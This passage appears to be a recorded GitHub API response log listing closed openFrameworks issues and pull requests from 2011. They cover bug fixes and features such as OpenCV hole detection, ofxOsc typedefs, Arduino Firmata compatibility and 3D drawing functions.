released.","number":791,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/791","diff_url":"https://github.com/openframeworks/openFrameworks/pull/791.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/791.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/791","labels":[],"id":2027833,"closed_at":"2011-10-23T19:19:25Z","created_at":"2011-10-23T18:01:18Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxOsc only adds int32_t typedef for VS vers < VS2010, fixes #559","html_url":"https://github.com/openframeworks/openFrameworks/issues/790","comments":1,"assignee":null,"updated_at":"2011-10-23T19:21:44Z","body":"A small define fix as VS2010+ now have ANSI C typedefs. See https://github.com/openframeworks/openFrameworks/issues/559#issuecomment-2433189 for more info.","number":790,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/790","diff_url":"https://github.com/openframeworks/openFrameworks/pull/790.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/790.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/790","labels":[],"id":2027683,"closed_at":"2011-10-23T19:21:44Z","created_at":"2011-10-23T17:32:32Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"4a503abeaa3d803e55e99093fbf1505d","url":"https://api.github.com/users/falcon4ever","login":"falcon4ever","id":480019,"avatar_url":"https://secure.gravatar.com/avatar/4a503abeaa3d803e55e99093fbf1505d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"openFrameworks for Android on Windows Makefile fixes","html_url":"https://github.com/openframeworks/openFrameworks/issues/788","comments":0,"assignee":null,"updated_at":"2011-11-10T13:21:43Z","body":"Fixes to compile openFrameworks for Android on Windows. Requires MinGW/MSYS environment, details are explained in the tutorial.\r\n\r\nAdditional information:\r\n- http://www.multigesture.net/articles/how-to-setup-openframeworks-for-android-on-windows/\r\n- http://forum.openframeworks.cc/index.php/topic,7046.msg32895.html#msg32895","number":788,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/788","diff_url":"https://github.com/openframeworks/openFrameworks/pull/788.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/788.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/788","labels":[],"id":2015407,"closed_at":"2011-11-10T13:21:43Z","created_at":"2011-10-21T13:33:08Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"opencv2 hole detection broken, here is the fix (thanks Golan) ... again again!","html_url":"https://github.com/openframeworks/openFrameworks/issues/784","comments":1,"assignee":null,"updated_at":"2011-10-19T08:06:41Z","body":"opencv2 cvContourArea runs fabs on the area by default unless the (new!) third variable is set to true, this breaks hole detection since no negative areas are returned. Also, the current fabs calls are redundant.\r\n\r\nGolan noticed that hole detection was off in 007 and I tracked this down, although the function update is not actually reflected in the opencv2 documentation ... blah. See this [disgruntled post](http://opencv-users.1802565.n2.nabble.com/cvContourArea-changed-API-tt4817692.html#none).\r\n\r\nI tracked down the [diff for the open cv update](https://code.ros.org/trac/opencv/changeset/2927) that clearly shows the new variable, int oriented, controls whether negative areas are returned or not.\r\n\r\nThis is a re-resubmission of a previous [pull request](https://github.com/openframeworks/openFrameworks/pull/756) but now to the develop branch.","number":784,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/784","diff_url":"https://github.com/openframeworks/openFrameworks/pull/784.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/784.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/784","labels":[],"id":1990670,"closed_at":"2011-10-19T08:06:41Z","created_at":"2011-10-19T04:57:23Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"opencv2 hole detection broken, here is the fix (thanks Golan) ... try try again","html_url":"https://github.com/openframeworks/openFrameworks/issues/783","comments":2,"assignee":null,"updated_at":"2011-10-19T04:23:52Z","body":"opencv2 cvContourArea runs fabs on the area by default unless the (new!) third variable is set to true, this breaks hole detection since no negative areas are returned. Also, the current fabs calls are redundant.\r\n\r\nGolan noticed that hole detection was off in 007 and I tracked this down, although the function update is not actually reflected in the opencv2 documentation ... blah. See this [disgruntled post](http://opencv-users.1802565.n2.nabble.com/cvContourArea-changed-API-tt4817692.html#none).\r\n\r\nI tracked down the [diff for the open cv update](https://code.ros.org/trac/opencv/changeset/2927) that clearly shows the new variable, int oriented, controls whether negative areas are returned or not.\r\n\r\nThis is a re-resubmission of a previous [pull request](https://github.com/openframeworks/openFrameworks/pull/756) but now to the develop branch.","number":783,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/783","diff_url":"https://github.com/openframeworks/openFrameworks/pull/783.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/783.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/783","labels":[],"id":1990450,"closed_at":"2011-10-19T04:23:52Z","created_at":"2011-10-19T03:59:48Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"5934b87b143f3bc860a2da7387f42de9","url":"https://api.github.com/users/github-user32","login":"github-user32","id":447669,"avatar_url":"https://secure.gravatar.com/avatar/5934b87b143f3bc860a2da7387f42de9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Added 3D versions of ofCurve(), ofBezier(), ofVertex() and ofBezierVertex()","html_url":"https://github.com/openframeworks/openFrameworks/issues/782","comments":2,"assignee":null,"updated_at":"2011-10-19T08:22:03Z","body":"ofGraphics.h already has 3D versions of ofTriangle(), ofCircle() etc.\r\n\r\nTo match these, I've added 3D versions of ofCurve(), ofBezier(), ofVertex() and ofBezierVertex() which really just pass an additional (z) coordinate through to the underlying shape path.\r\n\r\nIn ofGraphics.cpp only, I've also fixed all instances of opening braces to match the OF coding style guide. ie. Opening brace on same line as start of statement, without preceding space.\r\n\r\nJust noticed that some of my new function declarations exceed the 100 character width in the OF coding style guide...but there are a number of other functions in the same file that already do too. Happy to fix it if you can point at an example of how you split function declarations over multiple lines - the coding style guide doesn't seem to address it directly...","number":782,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/782","diff_url":"https://github.com/openframeworks/openFrameworks/pull/782.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/782.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/782","labels":[],"id":1990323,"closed_at":"2011-10-19T08:08:56Z","created_at":"2011-10-19T03:26:31Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"cc4cace34c61103f0624002a692820f7","url":"https://api.github.com/users/gimlids","login":"gimlids","id":186277,"avatar_url":"https://secure.gravatar.com/avatar/cc4cace34c61103f0624002a692820f7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofMesh::getCentroid()","html_url":"https://github.com/openframeworks/openFrameworks/issues/781","comments":13,"assignee":null,"updated_at":"2011-10-27T11:08:46Z","body":"","number":781,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/781","diff_url":"https://github.com/openframeworks/openFrameworks/pull/781.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/781.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/781","labels":[],"id":1989894,"closed_at":"2011-10-27T11:08:46Z","created_at":"2011-10-19T02:04:53Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"opencv2 hole detection broken, here is the fix (thanks Golan)","html_url":"https://github.com/openframeworks/openFrameworks/issues/780","comments":2,"assignee":null,"updated_at":"2011-10-19T03:19:58Z","body":"opencv2 cvContourArea runs fabs on the area by default unless the (new!) third variable is set to true, this breaks hole detection since no negative areas are returned. Also, the current fabs calls are redundant.\r\n\r\nGolan noticed that hole detection was off in 007 and I tracked this down, although the function update is not actually reflected in the opencv2 documentation ... blah. See this [disgruntled post](http://opencv-users.1802565.n2.nabble.com/cvContourArea-changed-API-tt4817692.html#none).\r\n\r\nI tracked down the [diff for the open cv update](https://code.ros.org/trac/opencv/changeset/2927) that clearly shows the new variable, int oriented, controls whether negative areas are returned or not.\r\n\r\nThis is a resubmission of a previous [pull request](https://github.com/openframeworks/openFrameworks/pull/756) but now to the develop branch.","number":780,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/780","diff_url":"https://github.com/openframeworks/openFrameworks/pull/780.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/780.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/780","labels":[],"id":1986549,"closed_at":"2011-10-19T03:19:58Z","created_at":"2011-10-19T00:12:37Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"5934b87b143f3bc860a2da7387f42de9","url":"https://api.github.com/users/github-user32","login":"github-user32","id":447669,"avatar_url":"https://secure.gravatar.com/avatar/5934b87b143f3bc860a2da7387f42de9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Added 3D versions of ofCurve(), ofBezier(), ofVertex() and ofBezierVertex()","html_url":"https://github.com/openframeworks/openFrameworks/issues/779","comments":6,"assignee":null,"updated_at":"2011-10-19T02:52:18Z","body":"ofGraphics.h already has 3D versions of ofTriangle(), ofCircle() etc. \r\n\r\nTo match these, I've added 3D versions of ofCurve(), ofBezier(), ofVertex() and ofBezierVertex() which really just pass an additional (z) coordinate through to the underlying shape path.","number":779,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/779","diff_url":"https://github.com/openframeworks/openFrameworks/pull/779.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/779.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/779","labels":[],"id":1978176,"closed_at":"2011-10-19T02:52:18Z","created_at":"2011-10-18T22:08:22Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"f3ca5c4c2359e9103ba20a1ea992680c","url":"https://api.github.com/users/soundanalogous","login":"soundanalogous","id":401539,"avatar_url":"https://secure.gravatar.com/avatar/f3ca5c4c2359e9103ba20a1ea992680c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Bugfix of arduino update - added missing image","html_url":"https://github.com/openframeworks/openFrameworks/issues/777","comments":0,"assignee":null,"updated_at":"2011-10-18T05:54:21Z","body":"This commit adds the image file that was missing from the previous pull request and also gets rid of a file that's no longer needed.","number":777,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/777","diff_url":"https://github.com/openframeworks/openFrameworks/pull/777.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/777.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/777","labels":[],"id":1935186,"closed_at":"2011-10-18T05:54:21Z","created_at":"2011-10-18T00:42:58Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a530cfce7e7e26f354cdc1bb444f94c5","url":"https://api.github.com/users/2bbb","login":"2bbb","id":200899,"avatar_url":"https://secure.gravatar.com/avatar/a530cfce7e7e26f354cdc1bb444f94c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Maybe, tex_coords[] in GL_TRIANGLE_STRIP are ","html_url":"https://github.com/openframeworks/openFrameworks/issues/776","comments":2,"assignee":null,"updated_at":"2011-10-17T07:33:28Z","body":"975: tx1, ty1,\r\n976: tx0, ty1\r\n->\r\n975: tx0, ty1,\r\n976: tx1, ty1","number":776,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/776","diff_url":"https://github.com/openframeworks/openFrameworks/pull/776.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/776.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/776","labels":[],"id":1924020,"closed_at":"2011-10-17T07:33:28Z","created_at":"2011-10-17T00:22:50Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a530cfce7e7e26f354cdc1bb444f94c5","url":"https://api.github.com/users/2bbb","login":"2bbb","id":200899,"avatar_url":"https://secure.gravatar.com/avatar/a530cfce7e7e26f354cdc1bb444f94c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"correct line 982. \"p4.x, p4.x\" -> \"p4.x, p4.y\"","html_url":"https://github.com/openframeworks/openFrameworks/issues/775","comments":0,"assignee":null,"updated_at":"2011-10-17T06:11:45Z","body":"","number":775,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/775","diff_url":"https://github.com/openframeworks/openFrameworks/pull/775.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/775.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/775","labels":[],"id":1923910,"closed_at":"2011-10-17T06:11:45Z","created_at":"2011-10-16T23:40:44Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofxOsc getRemotePort() returns wrong port","html_url":"https://github.com/openframeworks/openFrameworks/issues/773","comments":1,"assignee":null,"updated_at":"2011-10-13T15:44:06Z","body":"as mentioned in http://forum.openframeworks.cc/index.php/topic,7614.msg35625 \r\nI have also experienced that, so I can confirm.\r\n\r\ngetRemotePort() returns e.g. 52555 when the real port is 12345. \r\naccording to `ofxOscReceiver::ProcessMessage` implementation, this should work, the port gets assigned when the message is processed. The comment in `IpEndpointName.h`: \r\n`// address and port are maintained in host byte order here` is the only thing jumping out at me, does the byte order get jumbled or something? but that shouldn't be an issue when on `localhost`, no?","number":773,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/773","labels":[],"id":1897860,"closed_at":"2011-10-13T15:44:06Z","created_at":"2011-10-13T07:32:44Z"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=15&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4981'), ('content-length', '39109'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"c04775a433cb77f27d8539e9940abd5b"'), ('date', 'Tue, 29 May 2012 18:46:35 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-10-10T12:40:09Z","body":"in ofAppRunner.cpp, ofExitCallback() calls ofNotifyExit() last, after closing the sound stream and cleaning up free image. This created a problem for me when I had some code in my testApp::exit() function which was trying to use ofSaveImage(), and getting a segfault beacuse freeImage is no longer loaded. \r\n\r\nBy moving ofNotifyExit() to the top of the function, the problem is solved. I'm not sure if this introduces other problems, but I checked with the debugger and everything else does get called after the testApp::exit() function returns, so it should be okay.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/770","comments":0,"milestone":null,"number":770,"html_url":"https://github.com/openframeworks/openFrameworks/issues/770","assignee":null,"title":"ofExitCallback() does cleanup before notifying the running app","labels":[],"closed_at":"2011-10-10T12:40:09Z","created_at":"2011-10-10T06:07:10Z","state":"closed","user":{"url":"https://api.github.com/users/timscaffidi","gravatar_id":"2ad43b65cb02eca2b722133681647492","login":"timscaffidi","avatar_url":"https://secure.gravatar.com/avatar/2ad43b65cb02eca2b722133681647492?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":177125},"id":1861067,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-10-10T12:40:09Z","body":"I noticed that in linux (not sure about other platforms) calling setDesiredFrameRate(); before calling initGrabber() has no effect, even when the desired framerate is available by the camera driver, and shows up in the log from ofVideoPlayer.\r\n\r\nI've tracked down the source of the problem, and it appears to be that initially the internal grabber object is NULL, and is only created when initGrabber is called, thus any prior attempts to set the framerate will not work. \r\n\r\nBy moving the lines:\r\n\r\nif( grabber == NULL ){\r\n\tsetGrabber( ofPtr(new OF_VID_GRABBER_TYPE) );\r\n}\r\n\r\nfrom initGrabber() to the ofVideoGrabber constructor, the issue is solved. I'm not sure if this would have any undesirable effects, however.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/769","comments":0,"milestone":null,"number":769,"html_url":"https://github.com/openframeworks/openFrameworks/issues/769","assignee":null,"title":"ofVideoGrabber, setDesiredFrameRate ignored","labels":[],"closed_at":"2011-10-10T12:40:09Z","created_at":"2011-10-10T05:17:54Z","state":"closed","user":{"url":"https://api.github.com/users/timscaffidi","gravatar_id":"2ad43b65cb02eca2b722133681647492","login":"timscaffidi","avatar_url":"https://secure.gravatar.com/avatar/2ad43b65cb02eca2b722133681647492?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":177125},"id":1860899,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-10-17T16:08:24Z","body":"A change in the firmata protocol that ships with the upcoming Arduino 1.0 release will impact ofArduino (for OF users who load StandardFirmata from Arduino 1.0). The issue is a change in the pin numbering used in the Firmata library for the standard (ATMega168 and ATMega328 based) Arduinos. This commit fixes the issue while maintaining backwards compatibility with previous versions of firmata. I have also updated the firmataExample example to demonstrate how to set analog pins as digital I/O pins (this was previously broken) and also how to control a servo motor.\r\n\r\nThere are a number of new features in Firmata 2.3 that can make it easier to use Arduino with OF (and other frameworks). However ofArduino currently supports 3 different versions of Firmata so to add new features and maintain backwards compatibility would be a pain (not to mention a mess). In the near future I plan to create a new addon ofxArduino (or ofxFirmata) that will take full advantage of Firmata 2.3, adding support for pretty much any board that can be programmed via the Arduino IDE as well as new features such as I2C support (which is now part of StandardFirmata). I think ofArduino should remain as is to provide backwards compatibility, and the new addon will only support Firmata 2.3 (Arduino 1.0) and higher.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/768","comments":3,"milestone":null,"number":768,"html_url":"https://github.com/openframeworks/openFrameworks/issues/768","assignee":null,"title":"Bugfix ofArduino update to be compatible with Arduino 1.0","labels":[],"closed_at":"2011-10-17T06:47:33Z","created_at":"2011-10-09T06:07:35Z","state":"closed","user":{"url":"https://api.github.com/users/soundanalogous","gravatar_id":"f3ca5c4c2359e9103ba20a1ea992680c","login":"soundanalogous","avatar_url":"https://secure.gravatar.com/avatar/f3ca5c4c2359e9103ba20a1ea992680c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":401539},"id":1855139,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/768.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/768","diff_url":"https://github.com/openframeworks/openFrameworks/pull/768.diff"}},{"updated_at":"2011-12-03T23:44:15Z","body":"when using the movieGrabber on osx (10.6 in my case) There are a bunch of warnings like this\r\n\r\nmovieGrabberExampleDebug[2351:903] *** __NSAutoreleaseNoPool(): Object 0x1410280 of class NSCFArray autoreleased with no pool in place - just leaking\r\n\r\nthere seem to be some memory leaks in ofQuickTimeGrabber. according to Instruments, those are in listDevices(), loadSettings() and qtSelectDevice \r\n\r\nmore info + screenshot of Instruments session\r\nhttp://forum.openframeworks.cc/index.php/topic,7474.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/763","comments":1,"milestone":null,"number":763,"html_url":"https://github.com/openframeworks/openFrameworks/issues/763","assignee":null,"title":"ofQuickTimeGrabber::listDevices memory leak","labels":[],"closed_at":"2011-12-03T23:44:15Z","created_at":"2011-10-02T09:30:42Z","state":"closed","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":31100},"id":1794924,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-10-17T23:21:32Z","body":"Changed saveFile methods in ofxXmlSettings to return a boolean on success/failure to save a file...this let's you catch errors if it's not possible to save an xml file during or after modifications. \r\n\r\n(It's pretty basic, but figure I should start somewhere helping out ;-)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/762","comments":1,"milestone":null,"number":762,"html_url":"https://github.com/openframeworks/openFrameworks/issues/762","assignee":null,"title":"Bugfix return bool on save xml","labels":[],"closed_at":"2011-10-17T23:21:32Z","created_at":"2011-09-29T11:43:43Z","state":"closed","user":{"url":"https://api.github.com/users/gameoverhack","gravatar_id":"397ac2141aace0681a354185e7efb0f1","login":"gameoverhack","avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331599},"id":1774106,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/762.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/762","diff_url":"https://github.com/openframeworks/openFrameworks/pull/762.diff"}},{"updated_at":"2012-02-25T03:57:37Z","body":"Why is ofLog [adding a space after the ostream (<<) operator](https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.h#L73)?\r\n\r\nThis does not match the expected behavior of cout and cerr which ofLog is modeled after. I can understand it may be \"nice\" for some newbies but it now means I can't concatenate string output and prints formatted in the manner of ALL C++ BOOKS AND ONLINE INFO.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/761","comments":6,"milestone":null,"number":761,"html_url":"https://github.com/openframeworks/openFrameworks/issues/761","assignee":null,"title":"ofLog is adding a space after the ostream operator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"closed_at":"2012-02-25T03:57:37Z","created_at":"2011-09-28T01:15:42Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":1758336,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-10-15T12:58:27Z","body":"Hi,\r\n\r\nThe ofSoundStream automatically resets your sample rate to be 96000 Hz, since this is the soundcard default. This can be seen by looking at Audio MIDI setup application, as Arturo observed on the old forum.\r\n\r\n\r\nI find that simply clicking on the sample rate in Audio MIDI setup works but Is there a way to have control over this? What would we need to do to change it in the code?\r\n\r\nponje other alternative might be use a sample rate conversion : eg zita-resampler, but if we can not switch to different sample rate, that would be preferable.\r\n\r\nI'm trying to port some audio analysis - beat tracking, chroma etc, that currently run at 44100.\r\n\r\nThanks,\r\nAndrew","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/759","comments":1,"milestone":null,"number":759,"html_url":"https://github.com/openframeworks/openFrameworks/issues/759","assignee":null,"title":"Sample rate using ofSoundStream and RtAudio","labels":[],"closed_at":"2011-10-15T12:58:27Z","created_at":"2011-09-27T17:06:04Z","state":"closed","user":{"url":"https://api.github.com/users/Venetian","gravatar_id":"380a371d4bec591ddf9f8201ffdaed5d","login":"Venetian","avatar_url":"https://secure.gravatar.com/avatar/380a371d4bec591ddf9f8201ffdaed5d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":474147},"id":1754108,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-10-19T00:09:30Z","body":"opencv2 cvContourArea runs fabs on the area by default unless the (new!) third variable is set to true, this breaks hole detection since no negative areas are returned. Also, the current fabs calls are redundant.\r\n\r\nGolan noticed that hole detection was off in 007 and I tracked this down, although the function update is not actually reflected in the opencv2 documentation ... blah. See this [disgruntled post](http://opencv-users.1802565.n2.nabble.com/cvContourArea-changed-API-tt4817692.html#none).\r\n\r\nI tracked down the [diff for the open cv update](https://code.ros.org/trac/opencv/changeset/2927) that clearly shows the new variable, int oriented, controls whether negative areas are returned or not.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/756","comments":6,"milestone":null,"number":756,"html_url":"https://github.com/openframeworks/openFrameworks/issues/756","assignee":null,"title":"opencv2 hole detection broken, here is the fix (thanks Golan)","labels":[],"closed_at":"2011-10-19T00:09:30Z","created_at":"2011-09-25T04:48:52Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":1732626,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/756.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/756","diff_url":"https://github.com/openframeworks/openFrameworks/pull/756.diff"}},{"updated_at":"2012-02-10T08:43:13Z","body":"In 3d/ofMesh.h, line 135, the ofMesh parameter should be a reference (like it is declared)\r\n\r\nFix:\r\ninline std::ostream& operator<<(std::ostream& os, ofMesh& data) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/755","comments":3,"milestone":null,"number":755,"html_url":"https://github.com/openframeworks/openFrameworks/issues/755","assignee":null,"title":"ofMesh << operator, incorrect parameter ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":"2012-02-10T08:43:13Z","created_at":"2011-09-23T12:50:05Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1723034,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-05-28T14:59:16Z","body":"this question comes up constantly on the forum.\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,2197.0.html\r\nhttp://forum.openframeworks.cc/index.php/topic,7383.msg34454.html#msg34454\r\nhttp://forum.openframeworks.cc/index.php/topic,5962.msg28994.html\r\nhttp://forum.openframeworks.cc/index.php/topic,7260.msg33887.html\r\n\r\n'roi' is my language, but for naming i think the best words come from the people asking questions:\r\n\r\n- \"subsection\"\r\n- \"part of an image\"\r\n- \"parts of it\"\r\n- \"cropping\"\r\n- \"breaking it apart into tiles\"\r\n\r\nideally this would exist for videograbber, image, etc. anything with a texture.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/751","comments":9,"milestone":null,"number":751,"html_url":"https://github.com/openframeworks/openFrameworks/issues/751","assignee":null,"title":"gl-based roi/subsection 